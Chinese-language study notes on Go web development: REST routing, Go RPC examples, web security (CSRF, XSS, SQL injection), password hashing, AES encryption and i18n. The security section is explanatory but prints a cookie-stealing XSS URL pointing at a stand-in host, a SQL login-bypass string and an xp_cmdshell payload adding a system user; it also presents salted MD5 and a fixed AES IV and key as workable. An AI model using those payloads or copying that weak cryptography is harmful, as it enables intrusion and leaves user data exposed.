Sec-WebSocket-Key: Zbh6Hk/bjj4PPOgD3MvpHA==
Sec-WebSocket-Version: 13
Sec-WebSocket-Extensions: x-webkit-deflate-frame
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

REST

REST和Restful老生常谈,不再累述了,这里是书上的一点概念,我觉得比较有代表性.

总结一下什么是RESTful架构:

  • 每一个URI代表一种资源;
  • 客户端和服务器之间,传递这种资源的某种表现层;
  • 客户端通过四个HTTP动词(GET,POST,DELETE,PUT等),对服务器端资源进行操作,实现"表现层状态转化"。

这里使用了第三方库go get github.com/julienschmidt/httprouter,这个库实现了自定义路由和方便的路由规则映射,通过它,我们可以很方便的实现REST的架构.

这东西没什么难度,不再累述

package mainimport ("fmt""log""net/http""github.com/julienschmidt/httprouter"
)func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {fmt.Fprint(w, "你好!\n")
}func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//获取请求参数fmt.Fprintf(w, ps.ByName("name"))
}func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//获取请求参数uid := ps.ByName("uid")fmt.Fprintf(w, uid)
}func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//获取请求参数uid := ps.ByName("uid")fmt.Fprintf(w, uid)
}func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//获取请求参数uid := ps.ByName("uid")fmt.Fprintf(w, uid)
}func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//获取请求参数uid := ps.ByName("uid")fmt.Fprintf(w, uid)
}func main() {//新建路由router := httprouter.New()//根据不同的请求方式, 设置匹配的URL连接router.GET("/", Index)router.GET("/hello/:name", Hello)router.GET("/user/:uid", getuser)router.POST("/adduser/:uid", adduser)router.DELETE("/deluser/:uid", deleteuser)router.PUT("/moduser/:uid", modifyuser)//监听服务,同时记录日志log.Fatal(http.ListenAndServe(":999", router))
}

RPC

RPC——远程过程调用协议,可是实现客户端就像调用本地函数一样调用远程服务里里面的服务.

RPC主要使用HTTP,TCP进行通信.

go标准包中的RPC

go标准包中已经提供了对RPC的支持,而且同时支持TCP、HTTP、JSONRPC

但是go的标准包中的RPC是独一无二的RCPU,仅仅支持在GO的客户端和服务端的交互.

所以, 一般情况下我们不会用go的标准包做rpc服务而是用gRpc,gRpc主流语言都可以用

这里的东西大概看一下流程就可以

go的RC函数只有在符合下面条件时才能够运行

  • 首字母必须是大写
  • 必须有两个导出类型的参数
  • 第一个参数是接收的参数,第二个参数是返回给客户端的参数同时必须是指针类型
  • 函数还要返回一个返回值error

正确的RPC函数格式如下

//T、T1和T2类型必须能被encoding/gob包编解码
func (t *T) MethodName(argType T1, replyType *T2) error

HTTP RPC

根据下面得了两个案例,可以看到客户端的返回值就是我们定义的strct类型,

在服务端我们当做调用函数的参数的类型

在客户端作为client.Call的第2,3两个参数的类型,在客户端最重要的就是这个Call函数

Call有三个参数,第一个是要调用函数名称,第二个是要传递的参数,第三个要返回的参数(指针类型)

服务端的代码如下:

注册了一个Arith的RPC服务,然后通过rpc.HandleHTTP函数把该服务注册到了HTTP协议上

package mainimport ("github.com/pkg/errors""net/rpc""net/http""fmt"
)type Args struct {A, B int
}type Quotient struct {Quo, Rem int
}//数学计算
type Arith int//乘法
func (t *Arith) Mul(args *Args, reply *int) error {*reply = args.A * args.Breturn nil}//除法
func (t *Arith) Div(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("Div参数不能为0")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil}
func main() {//为该结构体开辟内存空间arith := new(Arith)//注册RPCrpc.Register(arith)//调用RPC服务rpc.HandleHTTP()//开启服务err := http.ListenAndServe(":999", nil)if err != nil {fmt.Println(err.Error())}
}

客户端代码

package mainimport ("os""fmt""net/rpc"
)type Args struct {A, B int
}type Quotient struct {Quo, Rem int
}func main() {if len(os.Args) != 2 {fmt.Println("请输入参数")os.Exit(1)}//获取第一个参数作为请求地址serverAddress := os.Args[1]//发送请求,通过http的形式client, err := rpc.DialHTTP("tcp", serverAddress+":999")if err != nil {panic(err)}//设置请求参数args := Args{8, 2}//声明一个变量,然后使用指针形式调用该变量作为返回值的赋值var reply int//调用远程的RPC服务err = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)var quot Quotient//调用远程的RPC服务err = client.Call("Arith.Div", args, &quot)if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)//打印结果//~/go/src/web/rpc on  master! ⌚ 15:07:25//$ go run ./http_client.go localhost//Arith: 8*2=16//Arith: 8/2=4 remainder 0}

TCP RPC

基于TCP的RPC协议,和http的rpc的不同之处是我们使用了TCP协议开启一个服务.

然后自己控制连接,一旦有客户端连接过来,马上就把这个链接交给rpc来处理

阻塞版的服务端代码,如果不想阻塞,想要并发,用goroutine即可

package mainimport ("github.com/pkg/errors""net/rpc""net"
)//声明三个结构体//作为参数的结构体
type Args struct {A, B int
}
type Quotient struct {Quo, Rem int
}//声明一个结构体,作为对象使用
type Arith int//乘法
func (t *Arith) Mul(args *Args, reply *int) error {*reply = args.A * args.Breturn nil
}//除法
func (t *Arith) Div(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("div 不能是0")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil
}func main() {//同样,需要为该结构体(相当于对象)开辟空间arith := new(Arith)//注册rpcrpc.Register(arith)//同样需要开启一个socket服务tcpAddr, err := net.ResolveTCPAddr("tcp", ":999")if err != nil {panic(err)}//监听socket端口listenner, err := net.ListenTCP("tcp", tcpAddr)//死循环不断的处理for {//通过监听的端口获取到数据conn, err := listenner.Accept()if err != nil {continue}//通过rpc调用请求rpc.ServeConn(conn)}
}

客户端代码

package mainimport ("os""fmt""net/rpc"
)type Args struct {A, B int
}type Quotient struct {Quo, Rem int
}func main() {//判断参数if len(os.Args) != 2 {fmt.Println("请输入URL地址和端口号,格式 host:port")}//获取参数,发送连接service := os.Args[1]client, err := rpc.Dial("tcp", service)if err != nil {panic(err)}//填充参数, 调用远程RPC服务,进行乘法操作args := Args{4, 2}var reply interr = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)//声明变量,调用远程RPC服务,进行除法操作var quot Quotienterr = client.Call("Arith.Div", args, &quot)if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}//~/go/src/web/rpc on  master! ⌚ 16:54:59
//$ go run ./tcp_client.go 127.0.0.1:999
//Arith: 4*2=8
//Arith: 4/2=2 remainder 0

JSON RPC

JSON RPC是数据编码采用了JSON,而不是gob编码,其他方面和前面说的RPC概念一模一样.

json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。

服务端代码

package mainimport ("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os"
)type Args struct {A, B int
}type Quotient struct {Quo, Rem int
}type Arith intfunc (t *Arith) Multiply(args *Args, reply *int) error {*reply = args.A * args.Breturn nil
}func (t *Arith) Divide(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("divide by zero")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil
}func main() {//为结构体开辟空间arith := new(Arith)//注册RPC服务rpc.Register(arith)//激活TCP服务tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")checkError(err)//监听端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)for {//处理接收到的数据conn, err := listener.Accept()if err != nil {continue}//将接收到的连接转发给RPCjsonrpc.ServeConn(conn)}}func checkError(err error) {if err != nil {fmt.Println("Fatal error ", err.Error())os.Exit(1)}
}

客户端代码

package mainimport ("fmt""log""net/rpc/jsonrpc""os"
)type Args struct {A, B int
}type Quotient struct {Quo, Rem int
}func main() {//判断传入的参数个数if len(os.Args) != 2 {fmt.Println("请输入参数")log.Fatal(1)}//获取参数,调动RPC服务service := os.Args[1]client, err := jsonrpc.Dial("tcp", service)if err != nil {panic(err)}//设置提交参数args := Args{4, 2}//声明当做返回值的变量var reply int//取变量的内存地址传入函数,并使用函数调用远程RPC服务err = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)//和上面一样,声明变量,将变量内存地址放入函数作为返回值用,同时使用函数调用远程RPC服务var quot Quotienterr = client.Call("Arith.Divide", args, &quot)if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)}
//执行结果
//~/go/src/web/rpc on  master! ⌚ 16:55:11
//$ go run ./tcp_client.go 127.0.0.1:999
//Arith: 4*2=8
//Arith: 4/2=2 remainder 0

安全与加密

web安全这块完全就是老生常谈,做web开发的基本上都这块都是如数家珍.

如果要专门学的话,我推荐道哥的《白帽子讲Web安全》

因为学到这里了,就做一下简单的回顾.

预防CSRF攻击

CSRF(Cross-site request forger),中文名称:跨站请求伪造,其实就是跨站攻击的一种.

要完成一次攻击,必须要让受害者完整两个步骤

  • 登录受信任网站A,并且在本地生成cookie
  • 在不退出A的情况下,访问危险网站B

这时候危险网站B,通过盗用用户的COOKIE得到用户在网站A的登录状态,从而盗用用户在网站A上的资金.

如何防御CSRF

服务端的防御方式有很多种,但是思路上都差不多.

  • 正确使用GET,POST和Cookie
  • 在非GET请求中增加伪随机数,作为令牌
  • 限制cookie的获取方式,设置httponly

一般来说,普通的web应用都是以get和post为主,还有一种是cookie的方式

一般我们都这么设计程序:

  • GET常用在查看,列举,展示等不需要改变资源属性的时候.
  • POST常用在下单,改变一个资源的属性或者做其他事情的时候

接下来我们已go语言为例,如何限制对资源的访问方法

//限制只能通过GET方式获取
mux.Get("/user/:uid", getuser)
//限制只能通过POST方式获取
mux.Post("/user/:uid", modifyuser)

这样处理之后可以限制用户的请求方式,防止请求方式混乱.

但是这样并不安全,需要我们在非GET方式的请求中增加随机数令牌

  • 为每个用户生成一个唯一的cookie tokan,所有表单都要包含同一个随机数令牌,这个方案最简单,因为攻击者不能获取第三方的cookie(理论上设置httponly之后),所以攻击也就不存在,但是这个方案必须要在没有XSS攻击的情况下才安全.
  • 每个请求使用验证码,完美方案,但是多次输入验证码,用户会受不了
  • 不同的表单包含一个不同的随机数令牌,我前面做Template的章节的时候说过, 代码如下
h := md5.New()
io.WriteString(h, strconv.FormatInt(curtime, 10))
io.WriteString(h,"meicuo,zhejiushitoken")
token := fmt.Sprintf("%x", h.Sum(nil))
t,_ := template.ParseFiles("login.gtpl")
t.Execute(w,token)

输出token

<input type="hidden" name="token" value="{{.}}">

验证token

r.ParseForm()
token := r.Form.Get("token")
if token != "" {//验证token的合法性
} else {//不存在token报错
}

确保输入过滤

一句话,客户端的一切数据都是不可信的.用户提交的数据必须要进行过滤.

过滤数据分为三个部分

  • 识别数据,搞清楚需要过滤的数据来自于哪里
  • 过滤数据,弄明白我们需要什么样的数据
  • 区分已过滤及被污染数据,如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据\

过滤数据

在知道数据来源之后,就可以过滤它了.以防止非法数据进入你的应用。

最好的方法是把过滤看成是一个检查的过程,在我们使用数据之前都要检查一下是否是合法的数据。

千万不要试图好心地去纠正非法数据,而是让用户遵循我们的规则进行输入。

历史证明了试图纠正非法数据往往会导致安全漏洞。

这里举个例子:“最近建设银行系统升级之后,如果密码后面两位是0,只要输入前面四位就能登录系统”,这是一个非常严重的漏洞。(牛逼!!!)

过滤数据主要是用下面这些库来操作

  • strconv包下面的字符串转化相关函数,因为从request中的r.From返回的就是字符串.如果我们要将他们转换为整数/浮点数,Atoi、ParseBool、ParseFloat、ParseInt等函数就可以派上用场了。
  • string包下面的一些过滤函数Trim、ToLower、ToTitle等函数,能够帮助我们按照指定的格式获取信息。
  • regexp包做正则匹配用来处理一些复杂的需求,例如判定输入是否是Email、生日之类。

过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即仅指定的字段可通过.

区分过滤数据

如果走到这里,说明数据过滤的工作基本就完成了.但是写程序的时候还需要我们区分已过滤和被污染的数据,用来保证过滤数据的完整性,而不影响输入的数据.

在这里,我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)

这时候需要用两个步骤来方志伟污染的数据注入:

  • 每个请求都需要初始化CleanMap为一个空的Map
  • 加入检查及阻止来自外部数据源的变量命名为CleanMap

下面来个例子来巩固一下这些概念:

前端表单

<form action="/whoami" method="POST">我是谁:<select name="name"><option value="astaxie">astaxie</option><option value="herry">herry</option><option value="marry">marry</option></select><input type="submit" />
</form>

如果你以为上面的表单只有三个值提交的话,那就错了.再遭到攻击时,攻击者伪造表单,可能会有n个字段提交

所以我们在下面的服务端代码中,只取出我们制定的字段的值,同时将值和字段名赋值给CleanMap.

这就可以保证CleanMap中的字段一定是合法字段(值不一定合法,需要再做处理).

其实下面的代码我们还可以在else部分增加非法数据的处理,一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据(因为这很要命)。

//调用该函数,他会自动处理表单数据
r.ParseForm()
//读取表单数据中指定字段的值
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {CleanMap["name"] = name
}

上面的代码只能用来过滤字段,要过滤值还带看下面

比如下面的代码,只允许name字段提交字母和数字

//调用该函数,他会自动处理表单数据
r.ParseForm()
//读取表单数据中指定字段的值
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
//正则匹配
if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok {CleanMap["username"] = username
}

避免XSS攻击

动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。

什么是XSS

XSS攻击:跨站脚本攻击(Cross-Site Scripting)

XSS是一种常见的web安全漏洞,攻击者(通过在服务植入或其他方式,比如运营商作梗)将恶意代码植入到提供给其它用户使用的页面中.

XSS通常可以分为两大类

  • 一类是存储型XSS,主要是出现在让用户输入数据保存到服务器,然后供其他用户查看的地方,比如留言板,博客等.程序从数据库查询数据,在页面中显示,如果数据中有恶意脚本数据,用户浏览此信息的页面时该脚本就会被运行,用户就会遭到攻击.简而言之,黑客通过漏洞向数据库中注入JS代码,用户访问这些数据时,JS代码就会在浏览器中运行,这些JS代码可能会含有读取cookie获得用户登录状态等功能.
  • 另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。

XSS目前主要的手段和目的如下:

  • 盗用cookie,获取用户敏感信息(比如登录状态)
  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果

XSS的原理

很显然,是程序写的有问题,没有过滤用户提交的数据,黑客通过该漏铜想服务器提交了HTML代码.

服务器将这些未转义的代码输出到了其他用户的浏览器解释执行.

接下来以反射性XSS举例说明XSS的过程:

例如正确访问域名是http://127.0.0.1/?name=nihao就会再浏览器输入你好啊

但是如果我们这样传递URLhttp://127.0.0.1/?name=&#60;script&#62;alert(&#39;nihao,xss&#39;)&#60;/script&#62;这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。

恶意用户盗取cookie,也是通过类似的方法http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;这样就可以把当前的cookie发送到指定的站点:www.xxx.com。

防御XSS攻击

其实说起来就很简单了,不要相信任何用户提交的数据,并且过滤掉所有的特殊字符.尤其是html字符.

目前主要防御措施:

  • 过滤特殊字符,Go语言提供了HTML的过滤函数:text/template包下面的HTMLEscapeString、JSEscapeString等函数
  • 使用HTTP头指定类型w.Header().Set("Content-Type","text/javascript"),这样就可以让浏览器解析javascript代码,而不会是html输出。

避免SQL注入

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。

而造成SQL注入的原因是因为程序没有过滤用户输入的内容,导致恶意用户提交了恶意SQL语句影响到原SQL的执行,从而操作数据库.

PS:如果你认为只有了解数据库结构才能攻击的话,那就错了,京东那一年被拖库就是最牛逼的例子.

SQL注入实例

SQL查询可以绕开访问限制,从而绕过身份验证和权限检查的操作数据库。更有甚者,有可能通过SQL查询去运行主机系统级的命令。

下面是一些SQL注入的例子:

  1. 前端form表单
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
  1. 我们处理里面的SQL正常情况下应该是这样的
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'
  1. 但是如果输入的用户名是这样的,密码随便写
myuser' or 'foo' = 'foo' --
  1. 那么我们的SQL变成了如下所示:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

注意在SQL中--是注释符,所以查询语句会在此中断,这就让攻击者在不知道密码的情况下成功登陆了

对于MSSQL还有一种更加危险的SQL注入,那就是控制操作系统

  1. 比如正常情况下,我们的SQL是这样的
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
  1. 但是如果攻击提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作为变量 prod的值,那么sql将会变成这样
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。

预防SQL注入

还是那句话,不要相信任何用户提交的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。

主要防御方式

  • 严格限制web应用的数据库操作权限,给此用户提供仅仅能满足工作的最低权限.从而最小程度限制被攻击后的损失
  • 检查输入的数据是否是合法的数据格式,严格限制变量类型,例如使用regexp包来做正则匹配,或者使用strconv包对字符串转化成其他基本类型的数据进行判断.
  • 对进入数据的特殊字符('"\尖括号&*;等)进行转义处理,或者编码转换,常见的就是base64.go的text/template包里面的HTMLEscapeString函数可以对字符串进行转义处理
  • 所有的查询语句使用数据库提供的参数化查询接口(和PHP里面的预处理有一比),参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句.例如使用database/sql里面的查询函数PrepareQuery,或者Exec(query string, args ...interface{})
  • 在应用发布之前可以使用专业的SQL注入测试工具进行测试,例如sqlmap、SQLninja等。
  • 避免网站打印SQL错误信息,比如类型错误,字段不匹配等,不要把代码里的SQL暴露出来,以防止攻击者利用错误信息进行SQL注入

存储密码

之前有很多网站遭遇用户密码泄密事件,包括京东,Linkedin,CSDN等等,前一阵Facebook好像也出了这事.

人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。

所以我们作为开发者,在选择密码存储方案时一定要慎重.不要想CSDN那样,那么大的公司居然用明文存储.

普通方案

目前最多的方式是将明文密码做单向哈希后存储,单向哈希算法无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。

常用的单向哈希算法包括SHA-256, SHA-1, MD5等。

单向哈希有两个特性:

  • 同一个密码进行单向哈希,得到的总是唯一确定的摘要。
  • 计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。

就像上面这两个特点一样, 考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为rainbow table。也是当前最流行最有效的破解方式.

因此通过单向加密之后存储的数据,和明文存储没有多大区别

Go语言对这三种加密算法的实现如下所示,比较简单:

//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))

进阶方案

我们知道黑客可以用rainbow table来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。

当前比较流行的对密码加密时做加盐操作,就是用固定的字符串和密码拼在一起做hash,有的网站甚至或做好多次这样哈希计算.

也有用一些禁止用户修改的字段,在加盐加密后再拼接这些字段,比如实名后的身份证号,再次做MD5操作.这样就可以保证每个用户的盐是不一样的.

在两个salt没有泄露的情况下,即使黑客拿到加密后的字符串,几乎也不可能推算出原始的密码是什么了。

下面是一个简单的加盐案例,比较简单

//import "crypto/md5"
//假设用户名abc,密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))//指定两个 salt: salt1 = @#$%   salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)last :=fmt.Sprintf("%x", h.Sum(nil))

专家方案

上面的进阶方案,在以前是绝对安全的,因为攻击者没有足够的资源建立这么多的rainbow table

但是,现在因为并行计算能力的提升,这种攻击只要努力,完全可行

只要时间与资源允许,没有破译不了的密码,所以我们的方案是,增加密码计算所需耗费的资源和时间,使别人都不可能获得足够量大的资源来建立所需要的rainbow table其实ASE加密就是这种感觉,利用一个引子层层加密.

这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立rainbow table越困难,以至于不可继续。

这里推荐scrypt方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。

目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)

其实PHP中也有类似方案,password_hash()

加密和解密数据

有时候我们存储的数据可能在某一天需要再解密出来,此时我们应该在选用对称加密算法来满足我们的需求。

base64加解密

其实base64算不上是一种加密方式,仅仅是一种编码方式的感觉而已,因为他没有秘钥这个概念.

package mainimport ("encoding/base64""fmt"
)func base64Encode(src []byte) []byte {return []byte(base64.StdEncoding.EncodeToString(src))
}func base64Decode(src []byte) ([]byte, error) {return base64.StdEncoding.DecodeString(string(src))
}func main() {// 编码hello := "你好啊!"debyte := base64Encode([]byte(hello))fmt.Println(debyte)// 解码enbyte, err := base64Decode(debyte)if err != nil {fmt.Println(err.Error())}if hello != string(enbyte) {fmt.Println("解密失败")}fmt.Println(string(enbyte))
}

高级加解密

Go语言的crypto里面支持对称加密的高级加解密包有:

  • crypto/aes包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。
  • crypto/des包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被AES所替代。

这两种算法类似,而且AES已经取代了DES,这里就不说DES了.我记得DES加密的话是区分,pkcs5和Pkcs7的,但是好像在AES中,pkcs#5填充和pkcs#7填充没有任何区别。

下面通过调用函数aes.NewCipher(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个cipher.Block接口,这个接口实现了三个功能这三个函数实现了加解密操作:

type Block interface {// 块大小返回密码的块大小。BlockSize() int// Encrypt将src中的第一个块加密为dst。
// Dst和src可以指向同一个内存。Encrypt(dst, src []byte)// Decrypt将src中的第一个块解密为dst。
// Dst和src可以指向同一个内存。Decrypt(dst, src []byte)
}

aes加密案例

package mainimport ("crypto/aes""crypto/cipher""fmt""os"
)//这里是全局向量,aes加密是需要填充向量的,其实也可以是10进制16个数
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}func main() {//需要去加密的字符串内容即加密内容plaintext := []byte("你好啊")//如果传入加密串的话,plaint就是传入的字符串if len(os.Args) > 1 {plaintext = []byte(os.Args[1])}//aes的加密字符串,其实这里应该叫做加密的秘钥//go秘钥长度必须是16/24/32,分别对应AES-128, AES-192, or AES-256.key_text := "astaxie12798akljzmknm.ahkjkljl;k"if len(os.Args) > 2 {key_text = os.Args[2]}fmt.Println(len(key_text))// 创建加密算法aesc, err := aes.NewCipher([]byte(key_text))if err != nil {fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)os.Exit(-1)}//加密字符串,cfb形式cfb := cipher.NewCFBEncrypter(c, commonIV)ciphertext := make([]byte, len(plaintext))cfb.XORKeyStream(ciphertext, plaintext)fmt.Printf("加密后的结果%s=>%x\n", plaintext, ciphertext)// 解密字符串,cfb形式cfbdec := cipher.NewCFBDecrypter(c, commonIV)plaintextCopy := make([]byte, len(plaintext))cfbdec.XORKeyStream(plaintextCopy, ciphertext)fmt.Printf("解密后的结果%x=>%s\n", ciphertext, plaintextCopy)
}

国际化和本地化

国际化与本地化(Internationalization and localization,通常用i18n和L10N表示,因为他有18个字母和10个字母,太长了),国际化是将针对某个地区设计的程序进行重构,以使它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加对新地区的支持。

目前,Go语言的标准包提供i18n的支持,但是有一些比较简单的第三方实现,这次我们就要实现一个go-i18n库,用来支持Go语言的i18n。

其实多语言国际化基本上都没有什么难度,做国际化不同编程语言有很多技术方案,总结一下,基本上都是利用文字字典做匹配,有的是系统提供的, 有的是自己维护的.

比如PHP有gettext()配合piedit做的二进制文件匹配,也有自己做数组维护的.

JS主要就是利用i18这个包来做的匹配,也有自己做的.

设置默认地区

local是一组描述世界上某一特定地区文本格式和语言习惯的设置的集合.

locale名通常由三个部分组成:

  • 第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。
  • 第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。
  • 第三部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。

因为go语言默认采用的时UTF-8字符集,所以我们做i18n的时候不考虑第三部分字符集问题.

在Linux和Solaris中可以通过locale -a命名列举所有支持的地区名,我们可以看到命名规范.

对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale

设置local

我们呢需要根据用户的信息(访问信息,个人信息,访问域名等信息)来设置与之相关的local,我们可以通过如下几个范式来设置用户的local:

通过域名设置local

在应用程序运行时采用域名分级的方式,例如我们采用的时www.nihao.com当做我们英文默认站,而吧www.nihao.cn当做中文站,这样通过在程序入库里面设置域名和相应的local的对应关系即可:

  • 通过URL可以很明显的区别
  • 用户通过域名很直观的知道访问那种语言的站点
  • 在go程序中实现非常的简单,通过一个map就可以实现
  • 有利于搜索引擎抓取,能提高站点的SEO

下面是通过域名对应的local的代码案例:

if r.Host == "www.asta.com" {i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {i18n.SetLocale("zh-TW")
}

除了整域名设置区域外,我们可也可以通过子域名来设置地区,比如en.nihao.com标识英文,cn.nihao.com标识中文站:

prefix := strings.Split(r.Host,".")if prefix[0] == "en" {i18n.SetLocale("en")
} else if prefix[0] == "cn" {i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {i18n.SetLocale("zh-TW")
}

从域名参数设置locale

目前最常用的设置local的方式是URL带参,比如www.nihao.com/hello?locale=zh或者www.nihao.com/zh/hello,这样我们就可以设置地区i18n.SetLocale(params["locale])

这种设置方式几乎拥有前面将的通过域名设置locale的所有优点,他采用resetful的方式,使我们不用使用额外的方式来处理.

但是这样可能需要我们在每个URL里面都要添加相应参数的locale,说起来是有点复杂和繁琐的.不过我们也可以写一个通用的URL,让所有的连接地址都通过这个函数来生成,然后在这个函数里面增加local=params["locale"]参数来缓解一下

如果我们想让地址看上去更加的restful一点,例如:www.nihao.com/en/bookswww.nihao.com/zh/books,这种方式的URL更鲤鱼SEO,而且对用户的显示也比较好.

那么这种的URL地址可以通过router来获取locale

mux.Get("/:locale/books", listbook)

从客户端设置地区

在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置locale,这些信息可能来自客户端设置的喜好语言,用户的IP地址,用户在注册时填写的所在地信息等

  • Accept-Language 例如利用http请求头中的语言设置参数,一般浏览器都有该字段

客户端请求的时候在http头信息里有Accept-Language,我们可以通过这个来做判断

AL := r.Header.Get("Accept-Language")
if AL == "en" {i18n.SetLocale("en")
} else if AL == "zh-CN" {i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {i18n.SetLocale("zh-TW")
}

不过在实际引用中,也可以更加严格的判断来进行设置地区

  • IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库
